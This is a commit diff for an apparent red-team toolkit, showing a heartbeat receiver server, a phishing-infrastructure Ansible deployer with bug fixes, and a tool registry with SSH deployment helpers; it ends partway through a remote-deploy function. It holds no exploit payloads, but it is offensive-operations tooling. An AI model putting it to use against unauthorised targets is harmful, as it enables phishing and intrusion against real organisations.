Fix 11 bugs found in full codebase review
- deploy_phishing.py: undefined extra_vars on orchestration playbook - freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable() - freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call - certipy-enum.py: password exposed in process list and logs; pass via env var - cleanup_engine.py: load_vars_file() called with path string, expects provider name - ioc-u.py: scapy import not guarded; tool crashed if scapy missing - um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers - ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var - recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user - um-crack.py: missing --scope flag inconsistent with all other Umbra tools - heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
This commit is contained in:
@@ -0,0 +1,167 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""heartbeat_ingest.py — HTTP(S) server that receives heartbeat POSTs and writes to engagement state.
|
||||||
|
|
||||||
|
Writes heartbeats to: ~/.umbra/engagements/{engagement}/heartbeats/{hostname}.json
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python heartbeat_ingest.py <engagement> [--port 8443] [--bind 127.0.0.1]
|
||||||
|
python heartbeat_ingest.py <engagement> --tls --cert cert.pem --key key.pem
|
||||||
|
python heartbeat_ingest.py <engagement> --auth-token SECRET
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import hashlib
|
||||||
|
import hmac
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import ssl
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||||
|
|
||||||
|
UMBRA_HOME = os.path.expanduser("~/.umbra")
|
||||||
|
ENGAGEMENTS_DIR = os.path.join(UMBRA_HOME, "engagements")
|
||||||
|
|
||||||
|
# Will be set by main()
|
||||||
|
_engagement_name = ""
|
||||||
|
_heartbeat_dir = ""
|
||||||
|
_auth_token = ""
|
||||||
|
|
||||||
|
|
||||||
|
class HeartbeatHandler(BaseHTTPRequestHandler):
|
||||||
|
"""Handle POST /hb with JSON heartbeat payload."""
|
||||||
|
|
||||||
|
def _check_auth(self):
|
||||||
|
"""Validate auth token if configured."""
|
||||||
|
if not _auth_token:
|
||||||
|
return True
|
||||||
|
token = self.headers.get("X-Auth-Token", "")
|
||||||
|
return hmac.compare_digest(token, _auth_token)
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
if not self._check_auth():
|
||||||
|
self.send_response(403)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"forbidden")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
length = int(self.headers.get("Content-Length", 0))
|
||||||
|
body = self.rfile.read(length)
|
||||||
|
data = json.loads(body)
|
||||||
|
|
||||||
|
hostname = data.get("hostname", "unknown").replace("/", "_").replace("..", "_")
|
||||||
|
hb_path = os.path.join(_heartbeat_dir, f"{hostname}.json")
|
||||||
|
|
||||||
|
with open(hb_path, "w") as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"ok")
|
||||||
|
print(f" [+] {data.get('ts', '?')} heartbeat from {hostname} ({data.get('ip', '?')})")
|
||||||
|
|
||||||
|
except (json.JSONDecodeError, KeyError) as e:
|
||||||
|
self.send_response(400)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(f"bad request: {e}".encode())
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.send_response(500)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(f"error: {e}".encode())
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
"""Health check endpoint."""
|
||||||
|
if not self._check_auth():
|
||||||
|
self.send_response(403)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(b"forbidden")
|
||||||
|
return
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(json.dumps({"status": "ok", "engagement": _engagement_name}).encode())
|
||||||
|
|
||||||
|
def log_message(self, fmt, *args):
|
||||||
|
"""Suppress default access logging."""
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def generate_self_signed_cert(cert_path, key_path):
|
||||||
|
"""Generate a self-signed certificate for TLS."""
|
||||||
|
try:
|
||||||
|
subprocess.run([
|
||||||
|
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
||||||
|
"-keyout", key_path, "-out", cert_path,
|
||||||
|
"-days", "365", "-nodes",
|
||||||
|
"-subj", "/CN=heartbeat-ingest",
|
||||||
|
], check=True, capture_output=True)
|
||||||
|
except FileNotFoundError:
|
||||||
|
raise RuntimeError("openssl not found — install it or provide --cert/--key manually")
|
||||||
|
print(f"[*] Generated self-signed cert: {cert_path}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global _engagement_name, _heartbeat_dir, _auth_token
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="Heartbeat ingest server")
|
||||||
|
parser.add_argument("engagement", help="Engagement name")
|
||||||
|
parser.add_argument("--port", "-p", type=int, default=8443, help="Listen port (default: 8443)")
|
||||||
|
parser.add_argument("--bind", "-b", default="127.0.0.1", help="Bind address (default: 127.0.0.1)")
|
||||||
|
parser.add_argument("--auth-token", default=os.environ.get("UMBRA_HB_TOKEN", ""),
|
||||||
|
help="Shared secret for auth (X-Auth-Token header)")
|
||||||
|
parser.add_argument("--tls", action="store_true", help="Enable TLS")
|
||||||
|
parser.add_argument("--cert", default="", help="TLS certificate path (PEM)")
|
||||||
|
parser.add_argument("--key", default="", help="TLS private key path (PEM)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
_engagement_name = args.engagement.strip().replace(" ", "_")
|
||||||
|
_heartbeat_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name, "heartbeats")
|
||||||
|
os.makedirs(_heartbeat_dir, exist_ok=True)
|
||||||
|
_auth_token = args.auth_token
|
||||||
|
|
||||||
|
# Also ensure engagement dir exists
|
||||||
|
eng_dir = os.path.join(ENGAGEMENTS_DIR, _engagement_name)
|
||||||
|
os.makedirs(eng_dir, exist_ok=True)
|
||||||
|
|
||||||
|
server = HTTPServer((args.bind, args.port), HeartbeatHandler)
|
||||||
|
|
||||||
|
# TLS setup
|
||||||
|
if args.tls:
|
||||||
|
cert_path = args.cert
|
||||||
|
key_path = args.key
|
||||||
|
|
||||||
|
# Auto-generate self-signed cert if none provided
|
||||||
|
if not cert_path or not key_path:
|
||||||
|
cert_dir = os.path.join(eng_dir, "tls")
|
||||||
|
os.makedirs(cert_dir, exist_ok=True)
|
||||||
|
cert_path = os.path.join(cert_dir, "heartbeat.crt")
|
||||||
|
key_path = os.path.join(cert_dir, "heartbeat.key")
|
||||||
|
if not os.path.exists(cert_path):
|
||||||
|
generate_self_signed_cert(cert_path, key_path)
|
||||||
|
|
||||||
|
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
ctx.load_cert_chain(cert_path, key_path)
|
||||||
|
server.socket = ctx.wrap_socket(server.socket, server_side=True)
|
||||||
|
proto = "https"
|
||||||
|
else:
|
||||||
|
proto = "http"
|
||||||
|
|
||||||
|
print(f"[*] Heartbeat ingest listening on {args.bind}:{args.port} ({proto})")
|
||||||
|
print(f"[*] Engagement: {_engagement_name}")
|
||||||
|
print(f"[*] Writing to: {_heartbeat_dir}")
|
||||||
|
print(f"[*] Auth: {'enabled' if _auth_token else 'disabled'}")
|
||||||
|
print(f"[*] Endpoint: POST {proto}://<this-host>:{args.port}/hb")
|
||||||
|
print()
|
||||||
|
|
||||||
|
try:
|
||||||
|
server.serve_forever()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[*] Stopped")
|
||||||
|
server.server_close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -447,11 +447,13 @@ def execute_component_deployment(config):
|
|||||||
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
|
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
|
||||||
}
|
}
|
||||||
|
|
||||||
# Build extra vars for ansible
|
# Build extra vars for ansible as JSON (safe for special chars)
|
||||||
extra_vars = []
|
import json as _json
|
||||||
|
import tempfile as _tempfile
|
||||||
|
extra_vars_dict = {}
|
||||||
for key, value in config.items():
|
for key, value in config.items():
|
||||||
if isinstance(value, (str, int, bool)):
|
if isinstance(value, (str, int, bool)):
|
||||||
extra_vars.append(f"{key}={value}")
|
extra_vars_dict[key] = value
|
||||||
|
|
||||||
deployed_components = []
|
deployed_components = []
|
||||||
|
|
||||||
@@ -466,19 +468,34 @@ def execute_component_deployment(config):
|
|||||||
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
|
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
# Write vars to temp file (avoids CLI exposure)
|
||||||
|
_vars_file = _tempfile.NamedTemporaryFile(
|
||||||
|
mode='w', suffix='.json', prefix='phish_vars_',
|
||||||
|
delete=False
|
||||||
|
)
|
||||||
|
_json.dump(extra_vars_dict, _vars_file)
|
||||||
|
_vars_file.close()
|
||||||
|
os.chmod(_vars_file.name, 0o600)
|
||||||
|
|
||||||
# Build ansible command
|
# Build ansible command
|
||||||
cmd = [
|
cmd = [
|
||||||
'ansible-playbook',
|
'ansible-playbook',
|
||||||
playbook_path,
|
playbook_path,
|
||||||
'--extra-vars',
|
'--extra-vars',
|
||||||
' '.join(extra_vars)
|
f'@{_vars_file.name}'
|
||||||
]
|
]
|
||||||
|
|
||||||
print(f"{COLORS['GRAY']}Running: {' '.join(cmd)}{COLORS['RESET']}")
|
print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}")
|
||||||
|
|
||||||
# Execute playbook
|
# Execute playbook
|
||||||
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||||
|
|
||||||
|
# Clean up temp vars file
|
||||||
|
try:
|
||||||
|
os.unlink(_vars_file.name)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
if result.returncode == 0:
|
if result.returncode == 0:
|
||||||
print(f"{COLORS['GREEN']}✅ {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
|
print(f"{COLORS['GREEN']}✅ {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
|
||||||
deployed_components.append(component)
|
deployed_components.append(component)
|
||||||
@@ -491,15 +508,28 @@ def execute_component_deployment(config):
|
|||||||
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
|
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
|
||||||
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
|
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
|
||||||
|
|
||||||
|
_orch_vars_file = _tempfile.NamedTemporaryFile(
|
||||||
|
mode='w', suffix='.json', prefix='phish_orch_',
|
||||||
|
delete=False
|
||||||
|
)
|
||||||
|
_json.dump(extra_vars_dict, _orch_vars_file)
|
||||||
|
_orch_vars_file.close()
|
||||||
|
os.chmod(_orch_vars_file.name, 0o600)
|
||||||
|
|
||||||
cmd = [
|
cmd = [
|
||||||
'ansible-playbook',
|
'ansible-playbook',
|
||||||
orchestration_playbook,
|
orchestration_playbook,
|
||||||
'--extra-vars',
|
'--extra-vars',
|
||||||
' '.join(extra_vars)
|
f'@{_orch_vars_file.name}'
|
||||||
]
|
]
|
||||||
|
|
||||||
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.unlink(_orch_vars_file.name)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
if result.returncode == 0:
|
if result.returncode == 0:
|
||||||
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
|
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
|
||||||
return True
|
return True
|
||||||
|
|||||||
@@ -0,0 +1,872 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Recon & Red Team Tools — c2itall integration module
|
||||||
|
Provides local launch + remote deployment for Umbra suite and custom Red Team tools.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
import glob
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
# Add parent paths for imports
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
from utils.common import COLORS, clear_screen, print_banner, wait_for_input
|
||||||
|
|
||||||
|
# ─── Tool Path Registry ─────────────────────────────────────────────────────
|
||||||
|
C2ITALL_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
UMBRA_PATH = os.path.join(C2ITALL_ROOT, "tools", "umbra")
|
||||||
|
REDTEAM_PATH = os.path.join(C2ITALL_ROOT, "tools", "redteam")
|
||||||
|
|
||||||
|
TOOLS = {
|
||||||
|
# Umbra tools
|
||||||
|
"umbra-launcher": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "umbra.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Unified Umbra Launcher",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow", "beautifulsoup4"],
|
||||||
|
},
|
||||||
|
"um-scan": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-scan.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "TCP Port Scanner",
|
||||||
|
"deps": ["rich", "click", "aiohttp"],
|
||||||
|
},
|
||||||
|
"um-api": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-api.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "API Endpoint Discovery",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
|
||||||
|
},
|
||||||
|
"um-intel": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-intel.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Passive OSINT Aggregator",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
|
||||||
|
},
|
||||||
|
"um-enum": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-enum.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Predictive URL Enumeration",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
|
||||||
|
},
|
||||||
|
"um-fuzz": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-fuzz.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Web Path Discovery",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
|
||||||
|
},
|
||||||
|
"um-hash": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-hash.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Gravatar Hash Extraction",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "beautifulsoup4"],
|
||||||
|
},
|
||||||
|
"um-wp": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-wp.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "WordPress Detection",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks"],
|
||||||
|
},
|
||||||
|
"um-crack": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-crack.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Hash Cracker",
|
||||||
|
"deps": ["rich", "click"],
|
||||||
|
},
|
||||||
|
"um-exif": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-exif.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "EXIF Metadata Extraction",
|
||||||
|
"deps": ["rich", "click", "aiohttp", "aiohttp-socks", "pillow"],
|
||||||
|
},
|
||||||
|
"um-vault": {
|
||||||
|
"path": os.path.join(UMBRA_PATH, "um-vault.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Master Database Aggregator",
|
||||||
|
"deps": ["rich", "click"],
|
||||||
|
},
|
||||||
|
# Red Team tools
|
||||||
|
"trashpanda": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "trashpanda", "trashpanda.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Network Enumeration",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
"ioc-u": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "ioc-u", "ioc-u.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Blue Team Detection & Intel",
|
||||||
|
"deps": ["scapy", "numpy", "scikit-learn"],
|
||||||
|
},
|
||||||
|
"lions-share": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "lions-share", "lions-share.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "SSHFS Mount & Backup",
|
||||||
|
"deps": ["click", "python-crontab"],
|
||||||
|
"sys_deps": ["sshfs", "rsync"],
|
||||||
|
},
|
||||||
|
"micro-scope": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "micro-scope", "micro-scope.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Scope Verification",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
"linkedout": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "linkedout", "linkedout.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "LinkedIn OSINT",
|
||||||
|
"deps": ["selenium", "webdriver-manager", "beautifulsoup4"],
|
||||||
|
},
|
||||||
|
"ops-logger": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "ops-logger.sh"),
|
||||||
|
"type": "bash",
|
||||||
|
"desc": "Terminal Session Logging",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
"freebird": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "freebird", "main.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "MITRE ATT&CK Framework",
|
||||||
|
"deps": ["InquirerPy", "requests", "click"],
|
||||||
|
},
|
||||||
|
"regex-search": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "regex-search", "regex-search-tool.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Sensitive Data Search",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
"certipy-enum": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "certipy-enum.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "ADCS Enumeration",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
"ping-sweep": {
|
||||||
|
"path": os.path.join(REDTEAM_PATH, "ping-sweep.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Network Discovery",
|
||||||
|
"deps": [],
|
||||||
|
"sys_deps": ["nmap"],
|
||||||
|
},
|
||||||
|
# Forensics / sandbox tools
|
||||||
|
"ir-sandbox": {
|
||||||
|
"path": os.path.expanduser("~/tools/ir-sandbox/ir-sandbox.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Malware Analysis & IR Platform",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
"link-sandbox": {
|
||||||
|
"path": os.path.expanduser("~/tools/link-sandbox/analyze.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Secure URL Analysis",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
# Ops tools
|
||||||
|
"ops-dashboard": {
|
||||||
|
"path": os.path.join(C2ITALL_ROOT, "ops_dashboard.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Real-Time Engagement Monitor",
|
||||||
|
"deps": ["rich"],
|
||||||
|
},
|
||||||
|
"ops-bridge": {
|
||||||
|
"path": os.path.join(C2ITALL_ROOT, "ops_bridge.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Remote State Sync (rsync)",
|
||||||
|
"deps": [],
|
||||||
|
"sys_deps": ["rsync"],
|
||||||
|
},
|
||||||
|
"heartbeat-ingest": {
|
||||||
|
"path": os.path.join(C2ITALL_ROOT, "heartbeat", "heartbeat_ingest.py"),
|
||||||
|
"type": "python",
|
||||||
|
"desc": "Heartbeat Receiver Server",
|
||||||
|
"deps": [],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
# Tool groups for menu organization
|
||||||
|
UMBRA_TOOLS = [
|
||||||
|
"umbra-launcher", "um-scan", "um-api", "um-intel", "um-enum",
|
||||||
|
"um-fuzz", "um-hash", "um-wp", "um-crack", "um-exif", "um-vault",
|
||||||
|
]
|
||||||
|
REDTEAM_TOOLS = [
|
||||||
|
"trashpanda", "ioc-u", "lions-share", "micro-scope", "linkedout",
|
||||||
|
"ops-logger", "freebird", "regex-search", "certipy-enum", "ping-sweep",
|
||||||
|
]
|
||||||
|
OPS_TOOLS = ["ops-dashboard", "ops-bridge", "heartbeat-ingest"]
|
||||||
|
|
||||||
|
# Deployment tracking file
|
||||||
|
DEPLOY_LOG = os.path.expanduser("~/.c2itall_tool_deployments.log")
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Utility Functions ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def check_tool_status(tool_name):
|
||||||
|
"""Check if a tool exists locally."""
|
||||||
|
info = TOOLS.get(tool_name)
|
||||||
|
if not info:
|
||||||
|
return False
|
||||||
|
return os.path.exists(info["path"])
|
||||||
|
|
||||||
|
|
||||||
|
def launch_local_tool(tool_name):
|
||||||
|
"""Launch a tool locally."""
|
||||||
|
info = TOOLS.get(tool_name)
|
||||||
|
if not info:
|
||||||
|
print(f"{COLORS['RED']}Unknown tool: {tool_name}{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
if not os.path.exists(info["path"]):
|
||||||
|
print(f"{COLORS['RED']}Tool not found: {info['path']}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
tool_dir = os.path.dirname(info["path"])
|
||||||
|
|
||||||
|
if info["type"] == "python":
|
||||||
|
cmd = [sys.executable, info["path"]]
|
||||||
|
elif info["type"] == "bash":
|
||||||
|
cmd = ["bash", info["path"]]
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Unknown tool type: {info['type']}{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Launching {tool_name}...{COLORS['RESET']}\n")
|
||||||
|
try:
|
||||||
|
subprocess.run(cmd, cwd=tool_dir)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n{COLORS['YELLOW']}Tool interrupted{COLORS['RESET']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error launching {tool_name}: {e}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def log_deployment(host, tools_deployed, ssh_user, ssh_key):
|
||||||
|
"""Log a tool deployment for future SSH & Run."""
|
||||||
|
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||||
|
with open(DEPLOY_LOG, "a") as f:
|
||||||
|
tools_str = ",".join(tools_deployed)
|
||||||
|
f.write(f"{ts}|{host}|{ssh_user}|{ssh_key}|{tools_str}\n")
|
||||||
|
|
||||||
|
|
||||||
|
def get_deployments():
|
||||||
|
"""Read deployment log and return list of deployments."""
|
||||||
|
if not os.path.exists(DEPLOY_LOG):
|
||||||
|
return []
|
||||||
|
deployments = []
|
||||||
|
with open(DEPLOY_LOG) as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line:
|
||||||
|
continue
|
||||||
|
parts = line.split("|")
|
||||||
|
if len(parts) >= 5:
|
||||||
|
deployments.append({
|
||||||
|
"timestamp": parts[0],
|
||||||
|
"host": parts[1],
|
||||||
|
"ssh_user": parts[2],
|
||||||
|
"ssh_key": parts[3],
|
||||||
|
"tools": parts[4].split(","),
|
||||||
|
})
|
||||||
|
return deployments
|
||||||
|
|
||||||
|
|
||||||
|
def get_active_attack_boxes():
|
||||||
|
"""Get active attack box deployments from c2itall logs."""
|
||||||
|
hosts = []
|
||||||
|
log_dir = os.path.join(os.path.dirname(__file__), '..', '..', 'logs')
|
||||||
|
info_files = glob.glob(os.path.join(log_dir, "deployment_info_*.txt"))
|
||||||
|
|
||||||
|
for info_file in info_files:
|
||||||
|
try:
|
||||||
|
with open(info_file) as f:
|
||||||
|
content = f.read()
|
||||||
|
# Extract IP and SSH info
|
||||||
|
ip = None
|
||||||
|
ssh_user = None
|
||||||
|
ssh_key = None
|
||||||
|
for line in content.splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if "IP:" in line or "attack_box_ip:" in line:
|
||||||
|
ip = line.split(":")[-1].strip().strip('"')
|
||||||
|
elif "SSH User:" in line:
|
||||||
|
ssh_user = line.split(":")[-1].strip()
|
||||||
|
elif "SSH Key:" in line:
|
||||||
|
ssh_key = line.split(":")[-1].strip()
|
||||||
|
if ip:
|
||||||
|
hosts.append({
|
||||||
|
"ip": ip,
|
||||||
|
"ssh_user": ssh_user or "root",
|
||||||
|
"ssh_key": ssh_key,
|
||||||
|
"source": os.path.basename(info_file),
|
||||||
|
})
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return hosts
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Deployment Functions ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def select_target_host():
|
||||||
|
"""Select a target host from active deployments or manual entry."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Select target machine:{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Check c2itall active deployments
|
||||||
|
attack_boxes = get_active_attack_boxes()
|
||||||
|
if attack_boxes:
|
||||||
|
print(f"\n {COLORS['GREEN']}Active c2itall deployments:{COLORS['RESET']}")
|
||||||
|
for i, box in enumerate(attack_boxes, 1):
|
||||||
|
print(f" {i}) {box['ip']} ({box['ssh_user']}@) — {box['source']}")
|
||||||
|
print(f" {len(attack_boxes) + 1}) Manual entry")
|
||||||
|
|
||||||
|
choice = input(f"\n Select: ").strip()
|
||||||
|
try:
|
||||||
|
idx = int(choice) - 1
|
||||||
|
if 0 <= idx < len(attack_boxes):
|
||||||
|
box = attack_boxes[idx]
|
||||||
|
return box["ip"], box["ssh_user"], box.get("ssh_key")
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
print(f" {COLORS['YELLOW']}No active c2itall deployments found{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Manual entry
|
||||||
|
host = input(f"\n Enter target (user@host or host): ").strip()
|
||||||
|
if not host:
|
||||||
|
return None, None, None
|
||||||
|
|
||||||
|
if "@" in host:
|
||||||
|
ssh_user, host = host.split("@", 1)
|
||||||
|
else:
|
||||||
|
ssh_user = input(f" SSH user [{COLORS['CYAN']}root{COLORS['RESET']}]: ").strip() or "root"
|
||||||
|
|
||||||
|
ssh_key = input(f" SSH key path (blank for default): ").strip() or None
|
||||||
|
return host, ssh_user, ssh_key
|
||||||
|
|
||||||
|
|
||||||
|
def _build_ssh_cmd(host, ssh_user, ssh_key, command=None, interactive=False):
|
||||||
|
"""Build an SSH command list."""
|
||||||
|
cmd = ["ssh"]
|
||||||
|
if ssh_key:
|
||||||
|
cmd.extend(["-i", ssh_key])
|
||||||
|
# Use accept-new: trust on first connect, reject if key changes
|
||||||
|
known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts")
|
||||||
|
cmd.extend([
|
||||||
|
"-o", "StrictHostKeyChecking=accept-new",
|
||||||
|
"-o", f"UserKnownHostsFile={known_hosts}",
|
||||||
|
"-o", "IdentitiesOnly=yes",
|
||||||
|
])
|
||||||
|
if interactive:
|
||||||
|
cmd.append("-t")
|
||||||
|
cmd.append(f"{ssh_user}@{host}")
|
||||||
|
if command:
|
||||||
|
cmd.append(command)
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
|
def _build_scp_cmd(ssh_key=None):
|
||||||
|
"""Build base SCP command with consistent SSH options."""
|
||||||
|
known_hosts = os.path.expanduser(f"~/.ssh/c2deploy_recon_known_hosts")
|
||||||
|
cmd = ["scp", "-o", "StrictHostKeyChecking=accept-new", "-o", f"UserKnownHostsFile={known_hosts}"]
|
||||||
|
if ssh_key:
|
||||||
|
cmd.extend(["-i", ssh_key])
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
|
def deploy_umbra_remote(host, ssh_user, ssh_key):
|
||||||
|
"""Deploy Umbra suite to remote machine."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Deploying Umbra to {ssh_user}@{host}...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Create remote directory
|
||||||
|
ssh_cmd = _build_ssh_cmd(host, ssh_user, ssh_key, "mkdir -p /opt/umbra")
|
||||||
|
result = subprocess.run(ssh_cmd, capture_output=True, text=True)
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['RED']}Failed to create remote directory: {result.stderr}{COLORS['RESET']}")
